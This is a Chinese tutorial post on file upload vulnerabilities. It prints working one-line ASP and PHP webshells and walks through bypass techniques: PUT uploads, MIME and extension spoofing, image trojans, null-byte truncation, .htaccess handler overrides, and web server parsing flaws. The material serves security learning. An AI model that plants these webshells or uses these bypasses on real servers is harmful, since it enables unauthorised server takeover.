任意文件上传漏洞
漏洞概述
文件上传是web应用的必备功能之一。如果服务器配置不当或者没有足够的过滤,用户就可以上传任意文件,包括恶意脚本,可执行文件等。
WebShell
shell俗称"壳"(用来区分核),指为使用者提供操作界面的软件。如win的cmd.exe,linux的bash
webshell是网站的后门,以http协议进行通信,继承web用户权限去操作服务器。webshell本质是在服务器端可运行脚本文件,接受用户的输入,并在服务器运行。
一句话木马
asp:
<%execute request("cmd")%>
php:
<?php @eval($_REQUEST['pass']); ?>
蚁剑与一句话木马配合可以实现:文件管理,虚拟终端,数据库管理
文件上传漏洞利用的条件
1.web服务器有文件上传的功能,并且用户可以上传文件
2.web用户对目标目录有可写权限,甚至有执行权限。
3.上传的文件可以执行,也就是web容器可以解析上传的脚本
4.服务器配置不当,开启了PUT方法(可以无视以上条件)
防御,绕过,利用
黑白名单策略
黑白名单类似一个列表,列表中写了一些条件或规则。禁止在黑名单中的客体,允许在白名单中的客体。
PUT方法上传文件
HTTP请求方法之一,允许向服务器直接写入文件
测试Apache是否开启PUT方法
telnet ip 80
-------------------------
OPTIONS / HTTP/1.1
Host:ip
--------------------------
上传文件:
-----------------------------
PUT /info.php HTTP/1.1
Host:ip
Content-Length:18
<?php phpinfo();?>
------------------------------
前端限制与绕过
有些web应用上传文件功能仅在前端用了js脚本进行过滤。方法一:直接查看源代码修改js脚本。方法二:用合适后缀名上传,burp抓包后修改后缀名
服务器端检测——MIME类型
MIME是描述消息内容类型的因特网标准。MIME消息能包含文本,图像,音频,视频以及其他应用程序专用数据。常见MIME类型如下
文件拓展名 Mime-Type
.js application/x-javascript
.html text/html
.jpg image/jpeg
.png image/png
.pdf image/application/pdf
在http协议中使用Content-Type字段表示MIME类型。绕过只需要用burp抓到数据包之后改字段内容。
服务器端检测——文件内容
服务器端会检测文件内容,甚至会删除掉文件中的恶意代码对图片做二次渲染。
绕过方法:制作图片木马(在恶意代码前加上GIF89a(GIF文件头),文件合并(copy .jpg/b+.php/a .jpg),利用十六进制编辑器给脚本添加图片文件头)
服务器端检测——后缀名
服务器端在检测后缀名的时候依然会采用黑白名单策略。黑名单:不允许上传.php|.jsp|.asp|aspx,白名单:只允许上传.jpg|.png|.gif
黑名单绕过:寻找其他可允许上传的类型来绕过检测(如禁用了.php,上传.php3,.phtml等)
白名单绕过:
00截断
00是NULL(空)字符,url中表现为%00,00截断会导致文件上传路径截断。
原理:c语言中判断字符串的结束是通过空字符判断的,00表示空字符。当读取到空字符时认为字符串已经结束,导致后面的内容被截断。
利用方法:可以构造1.php%00.jpg;如果上传路径暴露了,可以修改上传路径为../upload/test.php%00/123.gif
.htaccess攻击
.htaccess是Apache服务器的分布式配置文件,该配置文件会覆盖Apache服务器的全局配置,作用域是当前目录及其子目录。如果可以上传.htaccess文件,就可以更改apache的配置
.png当作php文件解析
将如下代码写入.htaccess文件中并上传
AddType application/x-httpd-php .png
再上传1.png,内容为<?php phpinfo(); ?>
访问1.png发现成功被当作php文件解析
文件中包含php关键字
当文件名为info.php.png,且.htaccess内容为AddHandler php5-script php时,会被当作php文件解析
匹配文件名
匹配文件名ajest,并执行其中的php代码
<FilesMatch "ajest">
SetHandler application/x-httpd-php
</FilesMatch>
web容器解析漏洞
Apache解析漏洞(古老)
Apache解析文件是从右往左解析,info.php.x.xx.xxx,遇到xxx,xx,x时都不能解析,apache会把该文件解析为php文件
iis6.0解析漏洞
1.asp;2.jpg(iis6.0会把其解析为asp文件)
PHP CGI解析漏洞(IIS7.0/7.5+PHP环境)
info.png/.php(会把info.png当作php文件执行)
防御方法:再php.ini中把cgi.fix_pathinfo=1改为cgi.fix_pathinfo=0
Nginx空字节漏洞
info.jpg%00.php,会把info.jpg文件当作php文件解析
Nginx文件名逻辑漏洞(CVE-2013-4745)
上传info.png ,访问info.png ..php,抓包后在hex中把第二个.对应的hex改成00
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库
· SQL Server 2025 AI相关能力初探
· 为什么 退出登录 或 修改密码 无法使 token 失效